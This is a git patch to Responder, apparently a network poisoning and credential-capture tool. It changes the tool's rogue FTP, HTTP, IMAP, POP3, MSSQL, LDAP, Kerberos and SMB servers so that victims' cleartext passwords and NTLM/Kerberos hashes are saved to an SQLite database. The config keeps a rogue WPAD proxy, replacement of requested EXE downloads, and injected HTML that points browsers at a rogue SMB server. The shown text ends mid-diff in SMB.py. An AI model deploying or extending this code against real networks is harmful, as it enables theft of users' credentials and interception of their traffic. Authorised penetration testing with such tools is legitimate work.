From bc06818ed1fa266e7175af9b7f4e69505a3bb91f Mon Sep 17 00:00:00 2001 From: jrmdev Date: Tue, 7 Jul 2015 16:21:28 +1000 Subject: [PATCH] Further improvement and fixes. --- .gitignore | 1 + Responder.conf | 10 ++-- Responder.py | 1 + packets.py | 6 ++- servers/FTP.py | 17 +++++-- servers/HTTP.py | 101 +++++++++++++++++++++++++++------------- servers/HTTP_Proxy.py | 35 +++++++++----- servers/IMAP.py | 17 +++++-- servers/Kerberos.py | 34 +++++++++++--- servers/LDAP.py | 48 +++++++++++++------ servers/MSSQL.py | 70 ++++++++++++++++++++-------- servers/POP3.py | 17 +++++-- servers/SMB.py | 105 +++++++++++++++++++++++++++--------------- servers/SMTP.py | 17 +++++-- settings.py | 6 ++- tools/DHCP.py | 4 +- tools/DHCP_Auto.sh | 2 + utils.py | 67 +++++++++++++++++++++++++++ 18 files changed, 416 insertions(+), 142 deletions(-) diff --git a/.gitignore b/.gitignore index 6fbeb3f..d01466d 100644 --- a/.gitignore +++ b/.gitignore @@ -59,6 +59,7 @@ docs/_build/ target/ # Responder logs +*.db *.txt *.log logs/* diff --git a/Responder.conf b/Responder.conf index 90015fa..15b5a59 100644 --- a/Responder.conf +++ b/Responder.conf @@ -16,6 +16,10 @@ LDAP = On ; Custom challenge Challenge = 1122334455667788 +; SQLite Database file +; Delete this file to re-capture previously captured hashes +Database = Responder.db + ; Default log file SessionLog = logs/Responder-Session.log @@ -50,7 +54,7 @@ Serve-Always = Off ; Set to On to replace any requested .exe with the custom EXE Serve-Exe = On -; Set to on to serve the custom HTML if the URL does not contain .exe +; Set to On to serve the custom HTML if the URL does not contain .exe ; Set to Off to inject the 'HTMLToInject' in web pages instead Serve-Html = Off @@ -67,9 +71,9 @@ ExeDownloadName = ProxyClient.exe WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} ; HTML answer to inject in HTTP responses (before tag). +; Set to an empty string to disable. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. -HTMLToInject = Loading - +HTMLToInject = Loading [HTTPS Server] diff --git a/Responder.py b/Responder.py index 1802a3e..ad58703 100755 --- a/Responder.py +++ b/Responder.py @@ -37,6 +37,7 @@ parser.add_option('-w','--wpad', action="store_true", help="Start the parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) +parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/packets.py b/packets.py index 198514c..a11e504 100644 --- a/packets.py +++ b/packets.py @@ -252,8 +252,10 @@ class IIS_Basic_401_Ans(Packet): ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) @@ -262,7 +264,7 @@ class IIS_Basic_401_Ans(Packet): class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"), ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), diff --git a/servers/FTP.py b/servers/FTP.py index cd732c5..5af048e 100644 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -29,8 +29,6 @@ class FTP(BaseRequestHandler): if data[0:4] == "USER": User = data[5:].strip() - print text("[FTP] Client : %s" % color(self.client_address[0], 3)) - print text("[FTP] Username : %s" % color(User, 3)) Packet = FTPPacket(Code="331",Message="User name okay, need password.") self.request.send(str(Packet)) @@ -38,13 +36,24 @@ class FTP(BaseRequestHandler): if data[0:4] == "PASS": Pass = data[5:].strip() - print text("[FTP] Password : %s" % color(Pass, 3)) Packet = FTPPacket(Code="530",Message="User not logged in.") self.request.send(str(Packet)) data = self.request.recv(1024) - WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass) + SaveToDb({ + 'module': 'FTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+':'+Pass + }) + + #print text("[FTP] Client : %s" % color(self.client_address[0], 3)) + #print text("[FTP] Username : %s" % color(User, 3)) + #print text("[FTP] Password : %s" % color(Pass, 3)) + #WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass) else : Packet = FTPPacket(Code="502",Message="Command not implemented.") diff --git a/servers/HTTP.py b/servers/HTTP.py index 9929458..6ee5d7c 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -45,14 +45,25 @@ def ParseHTTPHash(data, client): HostNameLen = struct.unpack(' 24: NthashLen = 64 @@ -62,31 +73,44 @@ def ParseHTTPHash(data, client): HostNameLen = struct.unpack(' 1 and settings.Config.Verbose: + print text("[HTTP] Cookie : %s " % Cookie) return Cookie else: return False -def GrabHost(data,host): +def GrabHost(data, host): Host = re.search('(Host:*.\=*)[^\r\n]*', data) if Host: Host = Host.group(0).replace('Host: ', '') - print text("[HTTP] Host : %s " % Host) + if settings.Config.Verbose: + print text("[HTTP] Host : %s " % color(Host, 3)) return Host else: return False @@ -123,11 +147,11 @@ def GrabURL(data, host): POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) - if GET: - print text("[HTTP] GET request from: %-15s URL: %s" % (host, ''.join(GET))) + if GET and settings.Config.Verbose: + print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) - if POST: - print text("[HTTP] POST request from: %-15s URL: %s" % (host, ''.join(POST))) + if POST and settings.Config.Verbose: + print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) if len(''.join(POSTDATA)) > 2: print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) @@ -182,13 +206,22 @@ def PacketSequence(data, client): GrabHost(data, client) GrabCookie(data, client) - print text("[HTTP] (Basic) Client : %s" % client) - print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0]) - print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1]) - WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth) + SaveToDb({ + 'module': 'HTTP', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + #print text("[HTTP] (Basic) Client : %s" % color(client, 3)) + #print text("[HTTP] (Basic) Username : %s" % color(ClearText_Auth.split(':')[0], 3)) + #print text("[HTTP] (Basic) Password : %s" % color(ClearText_Auth.split(':')[1], 3)) + #WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + if settings.Config.Verbose: + print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -199,11 +232,13 @@ def PacketSequence(data, client): else: if settings.Config.Basic == True: Response = IIS_Basic_401_Ans() - print text("[HTTP] Sending BASIC authentication request to %s" % client) + if settings.Config.Verbose: + print text("[HTTP] Sending BASIC authentication request to %s" % client) else: Response = IIS_Auth_401_Ans() - print text("[HTTP] Sending NTLM authentication request to %s" % client) + if settings.Config.Verbose: + print text("[HTTP] Sending NTLM authentication request to %s" % client) return str(Response) @@ -219,7 +254,8 @@ class HTTP(BaseRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) - print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + if settings.Config.Verbose: + print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) @@ -243,7 +279,8 @@ class HTTPS(StreamRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) - print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + if settings.Config.Verbose: + print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index fd7e949..330bb5c 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -24,6 +24,8 @@ import BaseHTTPServer from servers.HTTP import RespondWithFile from utils import * +IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] + def InjectData(data, client, req_uri): # Serve the .exe if needed @@ -57,8 +59,10 @@ def InjectData(data, client, req_uri): Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasBody = re.findall('(]*>)', Content) - if HasBody: - print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) + if HasBody and len(settings.Config.HtmlToInject) > 2: + + if settings.Config.Verbose: + print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) @@ -68,8 +72,9 @@ def InjectData(data, client, req_uri): data = Headers +'\r\n'+ Content - #else: - # print text("[PROXY] Returning unmodified HTTP response") + else: + if settings.Config.Verbose: + print text("[PROXY] Returning unmodified HTTP response") return data @@ -204,7 +209,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): def handle(self): (ip, port) = self.client_address - print text("[PROXY] Received connection from %s" % self.client_address[0]) + if settings.Config.Verbose: + print text("[PROXY] Received connection from %s" % self.client_address[0]) self.__base_handle() def _connect_to(self, netloc, soc): @@ -255,6 +261,10 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') + if netloc in IgnoredDomains: + #self.send_error(200, "OK") + return + if scm not in ('http') or fragment or not netloc: self.send_error(400, "bad url %s" % self.path) return @@ -272,15 +282,18 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' - print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) - print text("[PROXY] Requested URL : %s" % color(self.path, 3)) - print text("[PROXY] Cookie : %s" % Cookie) + if settings.Config.Verbose: + print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) + print text("[PROXY] Requested URL : %s" % color(self.path, 3)) + print text("[PROXY] Cookie : %s" % Cookie) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] + del self.headers['If-Range'] + del self.headers['Range'] - for key_val in self.headers.items(): - soc.send("%s: %s\r\n" % key_val) + for k, v in self.headers.items(): + soc.send("%s: %s\r\n" % (k.title(), v)) soc.send("\r\n") try: @@ -315,7 +328,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): out = soc data = i.recv(4096) - if self.command == "POST": + if self.command == "POST" and settings.Config.Verbose: print text("[PROXY] POST Data : %s" % data) if data: try: diff --git a/servers/IMAP.py b/servers/IMAP.py index 8463e86..3314a5c 100644 --- a/servers/IMAP.py +++ b/servers/IMAP.py @@ -38,10 +38,19 @@ class IMAP(BaseRequestHandler): if data[5:10] == "LOGIN": Credentials = data[10:].strip() - print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0)) - print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0)) - print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0)) - WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials) + SaveToDb({ + 'module': 'IMAP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Credentials[0], + 'cleartext': Credentials[1], + 'fullhash': Credentials[0]+":"+Credentials[1], + }) + + #print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0)) + #print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0)) + #print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0)) + #WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials) ## FIXME: Close connection properly ## self.request.send(str(ditchthisconnection())) diff --git a/servers/Kerberos.py b/servers/Kerberos.py index 780461c..b188f17 100644 --- a/servers/Kerberos.py +++ b/servers/Kerberos.py @@ -122,9 +122,20 @@ class KerbTCP(BaseRequestHandler): KerbHash = ParseMSKerbv5TCP(data) if KerbHash: - print text("[KERBEROS] Address :" % self.client_address[0]) - print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash) - WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash) + (n, krb, v, name, domain, d, h) = KerbHash.split('$') + + SaveToDb({ + 'module': 'KERB', + 'type': 'MSKerbv5', + 'client': self.client_address[0], + 'user': domain+'\\'+name, + 'hash': h, + 'fullhash': KerbHash, + }) + + #print text("[KERBEROS] Address :" % self.client_address[0]) + #print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash) + #WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash) except Exception: raise @@ -137,9 +148,20 @@ class KerbUDP(BaseRequestHandler): KerbHash = ParseMSKerbv5UDP(data) if KerbHash: - print text("[KERBEROS] Address :" % self.client_address[0]) - print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash) - WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash) + (n, krb, v, name, domain, d, h) = KerbHash.split('$') + + SaveToDb({ + 'module': 'KERB', + 'type': 'MSKerbv5', + 'client': self.client_address[0], + 'user': domain+'\\'+name, + 'hash': h, + 'fullhash': KerbHash, + }) + + #print text("[KERBEROS] Address :" % self.client_address[0]) + #print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash) + #WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash) except Exception: raise diff --git a/servers/LDAP.py b/servers/LDAP.py index 7f63ed4..765be3a 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -54,14 +54,24 @@ def ParseLDAPHash(data, client): UserOffset = struct.unpack(' 60: - print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0)) - print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0)) - print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0)) - print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0)) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) - WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+User, + 'hash': NTHash[:32]+":"+NTHash[32:], + 'fullhash': WriteHash, + }) + + #print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0)) + #print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0)) + #print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0)) + #print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0)) + #WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) + #WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) @@ -100,19 +122,31 @@ def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) - print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0))) - print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0)) - print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0)) - print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0)) - print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0)) - WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password) - WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass) + SaveToDb({ + 'module': 'MSSQL', + 'type': 'Cleartext', + 'client': client, + 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), + 'user': TDS.UserName, + 'cleartext': ParseSqlClearTxtPwd(TDS.Password), + 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), + }) + + #print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0))) + #print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0)) + #print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0)) + #print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0)) + #print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0)) + #WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password) + #WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass) # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): - print text("[MSSQL] Received connection from %s" % self.client_address[0]) + if settings.Config.Verbose: + print text("[MSSQL] Received connection from %s" % self.client_address[0]) + try: while True: data = self.request.recv(1024) diff --git a/servers/POP3.py b/servers/POP3.py index f96be7c..63d222f 100644 --- a/servers/POP3.py +++ b/servers/POP3.py @@ -42,10 +42,19 @@ class POP3(BaseRequestHandler): if data[0:4] == "PASS": Pass = data[5:].replace("\r\n","") - print text("[POP3] Address : %s" % color(self.client_address[0], 3)) - print text("[POP3] Username : %s" % color(User, 3)) - print text("[POP3] Password : %s" % color(Pass, 3)) - WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass) + SaveToDb({ + 'module': 'POP3', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+":"+Pass, + }) + + #print text("[POP3] Address : %s" % color(self.client_address[0], 3)) + #print text("[POP3] Username : %s" % color(User, 3)) + #print text("[POP3] Password : %s" % color(Pass, 3)) + #WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass) data = self.SendPacketAndRead() diff --git a/servers/SMB.py b/servers/SMB.py index f2f69f2..a0c36a6 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -89,58 +89,78 @@ def ParseShare(data): packet = data[:] a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: - print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) + print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client): SecBlobLen = struct.unpack(' 60: - SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack('